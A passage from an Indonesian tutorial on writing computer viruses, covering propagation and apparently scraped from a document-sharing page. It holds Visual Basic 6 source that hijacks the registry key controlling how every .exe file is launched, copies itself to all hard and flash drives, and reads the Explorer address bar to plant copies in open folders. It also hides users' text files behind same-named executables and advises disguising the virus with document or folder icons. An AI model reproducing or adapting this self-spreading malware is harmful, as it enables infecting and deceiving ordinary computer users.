• Tidak ada hasil yang ditemukan

Page 18. Pelatihan Pembuatan Virus. Penyebaran The Black VB

N/A
N/A
Protected

Academic year: 2021

Membagikan "Page 18. Pelatihan Pembuatan Virus. Penyebaran The Black VB"

Copied!
11
0
0

Teks penuh

(1)

Penyebaran

Penyebaran merupakan salah satu dari cara kerja suatu virus, agar virus

tersebut dapat melangsungkan hidupnya. Kayak mahluk hidup donk? Ya gitulah.

Dalam visual basic perintah penggandaan dapat dilakukan dengan dua cara:

1.

Menggunakan code standar dalam visual basic. (FileCopy).

2.

menggunakan code API untuk yang akan berinteraksi langsung dengan system

operasi sehingga memungkin perintah dapat berjalan lebih cepat dan selalu

berhasil. (CopyFile).

Fungsi untuk melakukan pengcopian file

1. Perintah Copy Visual Basic (FileCopy)

Dengan perintah perintah peng-copy-an suatu file pada visual basic, kita bias

membuat suatu fungsi untuk melakukan suatu penggandaan diri dalam suatu virus,

tapi fungsi ini tidak 100% berhasil. Dan memakan waktu yang lama jika digunakan

untuk melakukan penggandaan dalam jumlah banyak. Perintah ini sebaiknya

digunakan jika kita ingin membuat suatu virus yang sederhana.

Code:

FileCopy sumber,tujuan

2.

Fungsi API:

Penggunaan perintah API sangat disaran jika kita ingin membuat suatu applikasi

yang professional. Kok Applikasi? Karena fungsi ini biasanya digunakan untuk

membuat aplikasi installer yang dibuat oleh suatu perusahaan software. Fungsi API

selalu digunakan oleh perusahaan software agar software yang mereka buat bisa

langsung berinteraksi dengan system operasi dan bukan berinteraksi dengan

sebuah file virtual machine (Contoh : msvbvm60.dll) dimana virtual machine ini

berfungsi untuk melakukan hubungan dari suatu applikasi ke system operasi. Jadi

baiknya jika aplikasi kita buat langsung berhubungan dengan system operasi

sehingga kinerja dari aplikasi yang kita buat tersebut akan sangat baik. Apa

hubungannya sama virus? Jika kita bisa membuat virus yang langsung

berhubungan dengan system operasi. Selain proses penyebarannya sangat cepat,

virus itupun mampu melindungi dirinya dengan sangat baik. Karena ia mempu

mengendalikan suatu aplikasi. Apakah aplikasi tersebut perbolehlan untuk

dijalankan atau tidak.

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _

ByVal bFailIfExists As Long) As Long

Code:

CopyFile Sumber,Tujuan,0

Bagaimana teknik penyebaran yang baik?

Tenik penyebaran yang baik yang biasa dilakukan oleh virus adalah

1. Membaca address bar pada window explorer

Tehnik ini sangat baik selain proses penyebaran sangat cepat juga tidak

memerlukan suatu teknik pencarian suatu file. Mengapa tidak memerlukan

(2)

pencarian? Karena user telah memberikan informasi lokasi suatu file yang

dianggap penting oleh user dengan cara membuka folder tersebut menggunakan

windows explorer yang selanjutnya digunakan user untuk menjalankan file tersebut.

Virus yang mendapatkan lokasi tersebut langsung menggandakan diri kedalamnya.

Biasanya penamaan file dari hasil penggandaan virus tersebut diambil dari nama

subfolder yang sedang terbuka.

Fungsi API:

Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal HWND As Long, ByVal wMsg As Long, ByVal wParam As Long, _

lParam As Any)As Long

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _

ByVal lpsz2 As String) As Long Public Const WM_GETTEXT = &HD

2. Membaca seluruh subfolder pada setiap partisi ataupun hanya partisi system saja.

Cara penggandaan yang satu ini sangat memakan banyak waktu untuk proses

penyebaran. Tapi jika penyeberannya berhasil bisa dibayangkan kalau cara

penggandaannya berdasarkan subfolder saja untuk satu partisi system saja bisa

mencapai ribuan coba kalau user tersebut menggunakan Multi OS dikomputernya.

Bayangkan saja!!!. Apalagi kalau system penggandaannya berdasarkan file-file

yang ada dipartisi, pasti lebih heboh lagi.

3. Membaca lokasi file yang dijalankan

Penggandaan berdasarkan lokasi file yang dijalankan. Cara yang satu ini memang

sangat cepat tapi hasil penggandaan tidak sebanyak dari 2 cara diatas. Ini

dikarenakan jika user menjalankan suatu aplikasi. Tapi jika user tidak menjalankan

suatu aplikasi maka virus tersebut tidak bisa menggandakan dirinya. Biasanya cara

ini digunakan untuk menginfeksi suatu file. Biasanya mempunyai hubungan dengan

registry.

Untuk membuat virus yang hebat sangat disarankan untuk menggabungkan

semua code yang tersebut. Tapi gunakanlah sesuai kebutuhan. Untuk masalah

pengganbungan saya serahkan kepada anda.

Agar virus tersebut tidak diketahui sebagai virus. Virus tersebut dapat

menggunakan icon yang memungkinkan seseorang tidak dapat mengenali apakah itu

virus atau bukan. Contoh nya adalah icon: Folder, Word, Exel, File Gambar (jpg, bmp,

png, gif), zip, rar, pdf, notepad, application, dll.

Kode penyebaran dengan mengambil lokasi dari aplikasi yang dijalankan:

'Registry API

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long

(3)

"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _

ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _

ByVal cbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _

As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _

ByVal bFailIfExists As Long) As Long

Private Declare Function SetFileAttributes Lib "kernel32" Alias

"SetFileAttributesA" (ByVal lpFileName As String, _

ByVal dwFileAttributes As Long) As Long Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum Enum TypeStringValue REG_SZ = 1 REG_EXPAND_SZ = 2 REG_MULTI_SZ = 7 End Enum

Dim lokasi As String Dim NamaFile1 As String Private Sub Form_Load()

With App

lokasi = .Path & "\"

NamaFile1 = .EXEName & ".exe"

End With

CreateStringValue HKEY_CLASSES_ROOT, "exefile\shell\open\command", _ REG_SZ, "", Chr(&H22) & lokasi & NamaFile1 & Chr(&H22) & " " & _ Chr(&H22) & "%1" & Chr(&H22) & " %*"

'Jika parameter pemanggilan virus tidak sama dengan kosong

If Command$ <> "" Then

Dim sFilePath As String

'ambil Path file

sFilePath = Right$(Command$, Len(Command$) - 1) sFilePath = Left$(sFilePath, Len(sFilePath) - 2)

SetFileAttributes sFilePath, FILE_ATTRIBUTE_HIDDEN Or _ FILE_ATTRIBUTE_READONLY

CopyFile App.Path & "\" & App.EXEName & ".exe", _

NamaPath(sFilePath) & RTrim$(Left(NamaFile(sFilePath), _ Len(NamaFile(sFilePath)) - 4)) & " .exe", 0

SetFileAttributes NamaPath(sFilePath) & _

RTrim$(Left(NamaFile(sFilePath), Len(NamaFile(sFilePath)) - 4)) & _ " .exe", FILE_ATTRIBUTE_NORMAL

(4)

Shell Command$, vbNormalFocus DoEvents

End If

'jalankan sekali saja

If App.PrevInstance Then End

End Sub

'dapatkan nama file

Public Function NamaFile(sPath As String) As String

On Error Resume Next

Dim i As Integer

NamaFile = "" i = 0

If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1) For i = Len(sPath) To 1 Step -1

If Mid$(sPath, i, 1) = "\" Then

NamaFile = Right(sPath, Len(sPath) - i) Exit Function

End If

DoEvents Next

End Function

'dapatkan nama path

Public Function NamaPath(sPath As String) As String

On Error Resume Next

Dim i As Integer

NamaPath = sPath

For i = Len(NamaPath) To 1 Step -1 If Mid$(NamaPath, i, 1) = "\" Then NamaPath = Left$(NamaPath, i) Exit Function End If DoEvents Next i NamaPath = "" End Function

'Create or Set String Value Registry

Private Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next

Dim ret As Long

RegCreateKey hKey, Subkey, ret

CreateStringValue = RegSetValueEx(ret, strValueName, 0, _ RTypeStringValue, ByVal strData, Len(strData))

(5)

RegCloseKey ret

End Function

Pertama kali yang dilakukan virus ketika virus dijalankan adalah menyeting registry

pada bagian exefile, dengan begitu ketika seseorang menjalankan aplikasi dengan

extensi “*.exe” maka virus akan berjalan dan melakukan pengecekan lokasi aplikasi

tersebut dijalankan dan melakukan penyebaran pada lokasi aplikasi tersebut

dijalankan.

Berikut adalah kode penyebaran dengan mencari drive yang tersedia dan melakukan

penyebaran pada drive tersebut.

Sediakan satu buah form dan satu buah module

Ketikan perintah ini pada form:

CariDrive

Ketikan perintah ini pada module:

Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" _ (ByVal nDrive As String) As Long

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _

ByVal bFailIfExists As Long) As Long 'dapatkan drive hardisk dan flashdisk Public Function CariDrive() As String

Dim ictr As Integer

Dim sAllDrives As String

Dim sDrive As String

sDrive = ""

For ictr = 66 To 90

sDrive = Chr(ictr) & ":\"

If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then

CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & _ "virus.exe", 0

End If

Next

End Function

Berikut ini kode melakukan penyebaran dengan membaca alamat folder yang dibuka

dengan windows explorer dengan membacanya pda addressbar.

Siapkan satu form, satu timer dengan Interval=1500 dan satu buah module.

Ketikan perintah ini pada form:

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" _ (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, _

(6)

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _ (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _

lParam As Any) As Long

Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, _ phkResult As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _

"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _

ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, _

ByVal cbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) _

As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _

ByVal bFailIfExists As Long) As Long

Private Declare Function SetFileAttributes Lib "kernel32" Alias _

"SetFileAttributesA" (ByVal lpFileName As String, _

ByVal dwFileAttributes As Long) As Long Private Const WM_GETTEXT = &HD

Private Const REG_DWORD = 4

Enum REG HKEY_CURRENT_USER = &H80000001 HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_LOCAL_MACHINE = &H80000002 HKEY_USERS = &H80000003 End Enum

'Create or Set Dword Value Registry

Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName

As String, dwordData As Long) As Long

On Error Resume Next

Dim ret As Long

RegCreateKey hKey, Subkey, ret

CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, _ dwordData, 4)

RegCloseKey ret

End Function

Private Sub Form_Load()

CariDirectory "C:\", "Tes"

CreateDwordValue HKEY_CURRENT_USER, _

"Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState", _ "FullPathAddress", 1

End Sub

(7)

Dim ExploreWClass As Long Dim CabinetWClass As Long Dim WorkerW As Long Dim RebarWindow32 As Long Dim ComboBoxEx32 As Long Dim ComboBox As Long Dim Edit As Long

Dim temp As String * 255

Dim temp2 As String * 255

Dim AlamatFile As String Dim JudulCaption As String

ExploreWClass = FindWindow("ExploreWClass", vbNullString) CabinetWClass = FindWindow("CabinetWClass", vbNullString) If ExploreWClass = GetForegroundWindow Then

WorkerW = FindWindowEx(ExploreWClass, 0&, "WorkerW", vbNullString) SendMessage ExploreWClass, WM_GETTEXT, 200, ByVal temp2

ElseIf CabinetWClass = GetForegroundWindow Then

WorkerW = FindWindowEx(ExploreWClass, 0&, "WorkerW", vbNullString) SendMessage CabinetWClass, WM_GETTEXT, 200, ByVal temp2

End If

'dapatkan string pada address bar

RebarWindow32 = FindWindowEx(WorkerW, 0&, "RebarWindow32", vbNullString) ComboBoxEx32 = FindWindowEx(RebarWindow32, 0&, "ComboBoxEx32", _

vbNullString)

ComboBox = FindWindowEx(ComboBoxEx32, 0&, "ComboBox", vbNullString) Edit = FindWindowEx(ComboBox, 0&, "Edit", vbNullString)

SendMessage Edit, WM_GETTEXT, 200, ByVal temp

'ambil lokasi folder yang aktif pada windows explorer

AlamatFile = Mid$(temp, 1, InStr(temp, Chr$(0)) - 1) 'ambil caption windows explorer

JudulCaption = Mid$(temp2, 1, InStr(temp2, Chr$(0)) - 1)

If AlamatFile <> "" And JudulCaption <> "" Then

Form1.Print "Judul : " & JudulCaption Form1.Print "Address Bar : " & AlamatFile CariFile AlamatFile

End If

End Sub

Ketikan perintah berikut pada module

Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _ (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _ (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) _

As Long

Public Declare Function SetFileAttributes Lib "kernel32" Alias _ "SetFileAttributesA" (ByVal lpFileName As String, _

(8)

ByVal dwFileAttributes As Long) As Long

Public Declare Function GetFileAttributes Lib "kernel32" Alias _ "GetFileAttributesA" (ByVal lpFileName As String) As Long

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _

ByVal bFailIfExists As Long) As Long

Public Const FILE_ATTRIBUTE_DIRECTORY = &H10

Public Const FILE_ATTRIBUTE_HIDDEN = &H2

Public Const FILE_ATTRIBUTE_READONLY = &H1

Public Const INVALID_HANDLE_VALUE = -1

Public Const MAX_PATH = 260

Public Type FILETIME

dwLowDateTime As Long

dwHighDateTime As Long End Type

Public Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long

cFileName As String * MAX_PATH

cAlternate As String * 14

End Type 'cari file

Public Function CariFile(Path As String) As Integer

On Error Resume Next

Dim FileName As String

Dim hSearch As Double

Dim WFD As WIN32_FIND_DATA Dim cont As Double

CariFile = 0 Selesai = False

If Right(Path, 1) <> "\" Then Path = Path & "\"

cont = True

hSearch = FindFirstFile(Path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then

Do While cont

FileName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, _ Chr$(0)) - 1)

If (FileName <> ".") And (FileName <> "..") Then

If Not FILE_ATTRIBUTE_DIRECTORY Then

If WFD.dwFileAttributes = 128 _

Or WFD.dwFileAttributes = 32 Then

If UCase(Right$(FileName, 3)) = "TXT" Then

SetFileAttributes Path & CariNama(FileName) & _ " .exe", FILE_ATTRIBUTE_NORMAL

(9)

CopyFile App.Path & "\" & App.EXEName & ".exe", _ Path & CariNama(FileName) & " .exe", 0

DoEvents

SetFileAttributes Path & FileName, _

FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_READONLY CariFile = CariFile + 1 DoEvents End If End If End If End If cont = FindNextFile(hSearch, WFD) Loop cont = FindClose(hSearch) End If

hSearch = FindFirstFile(Path & "*.*", WFD) DoEvents

End Function

'cari folder

Public Function CariDirectory(Path As String, SearchStr As String) As Double Dim DirName As String

Dim DirNames() As String Dim nDir As Double Dim i As Double Dim hSearch As Double Dim WFD As WIN32_FIND_DATA

Dim cont As Double

If Right(Path, 1) <> "\" Then Path = Path & "\" nDir = 0

ReDim DirNames(nDir) cont = True

hSearch = FindFirstFile(Path & "*", WFD) If hSearch <> INVALID_HANDLE_VALUE Then Do While cont

DirName = Mid$(WFD.cFileName, 1, InStr(WFD.cFileName, _ Chr$(0)) - 1)

If (DirName <> ".") And (DirName <> "..") Then

If GetFileAttributes(Path & DirName) _

And FILE_ATTRIBUTE_DIRECTORY Then

DirNames(nDir) = DirName nDir = nDir + 1

ReDim Preserve DirNames(nDir)

If UCase(DirName) = UCase(SearchStr) Then

Dim tamp As String

CariFile Path & DirName & "\" DoEvents

SetFileAttributes Path & DirName & "\" & _ NamaFile(Path & DirName) & " .exe", _ FILE_ATTRIBUTE_NORMAL

CopyFile App.Path & "\" & App.EXEName & ".exe", _ Path & DirName & "\" & NamaFile(Path & DirName) & _

(10)

" .exe", 0 TmpDrv = Left$(Path, 3) Exit Function End If End If End If cont = FindNextFile(hSearch, WFD) Loop cont = FindClose(hSearch) End If If nDir > 0 Then For i = 0 To nDir - 1

CariDirectory Path & DirNames(i) & "\", SearchStr Next i

End If End Function

'cari nama file/folder

Public Function CariNama(sName As String) As String On Error Resume Next

Dim i As Integer

i = 0

For i = Len(sName) To 1 Step -1 If Mid$(sName, i, 1) = "." Then CariNama = Left$(sName, i - 1) Exit Function End If Next End Function

'dapatkan nama file

Public Function NamaFile(sPath As String) As String

On Error Resume Next

Dim i As Integer

NamaFile = "" i = 0

If Right(sPath, 1) = "\" Then sPath = Left$(sPath, Len(sPath) - 1) For i = Len(sPath) To 1 Step -1

If Mid$(sPath, i, 1) = "\" Then

NamaFile = Right(sPath, Len(sPath) - i) Exit Function

End If

DoEvents Next

End Function

'dapatkan nama path

Public Function NamaPath(sPath As String) As String

On Error Resume Next

Dim i As Integer

(11)

For i = Len(NamaPath) To 1 Step -1 If Mid$(NamaPath, i, 1) = "\" Then NamaPath = Left$(NamaPath, i) Exit Function End If DoEvents Next i NamaPath = "" End Function

Referensi

Dokumen terkait

Pada dasarnya Bank Syariah yang berbasis pembiayaan berdasarkan asset riil ( asset based) dan berbasis produksi ( production based), Namun bank syariah itu terjebak sendiri

Proyeksi orthogonal adalah salah satu metode proyeksi yang digunakan untuk mempermudah penggambaran. Proyeksi orthogonal ini dapat diaplikasikan hampir

Untuk stasiun Bawak nilai korelasi antara data hujan observasi dengan data hujan simulasi ARIMA adalah 0,62 dan untuk stasiun Kalijaran nilai korelasi antara

Menurut Andrew Darwis selaku Chief Community Officer KASKUS dalam wawancara dengan Metro TV Selasa 9 Desember 2014 dari sekian banyak produk atau layanan yang diberikan

KESEHATAN WANITA SEPANJANG SIKLUS KEHIDUPAN KESEHATAN WANITA SEPANJANG SIKLUS KEHIDUPAN

Kontribusi bubuk slag nikel dalam bentuk rasio peningkatan porositas, koefisien permeabilitas dan kehilangan sebagian massa antara beton 16% bubuk slag nikel dan beton tanpa

Kebijakan mutu akademik meliputi tiga bidang, yaitu bidang pendidikan, bidang penelitian dan bidang pengabdian kepada masyarakat. 1) Kebijakan mutu bidang pendidikan antara

Hasil analisis statistik deskriptif menunjukkan konsumen yang mengetahui tentang keberadaan produk pengganti tas plastik dan yang tidak mengetahui memiliki nilai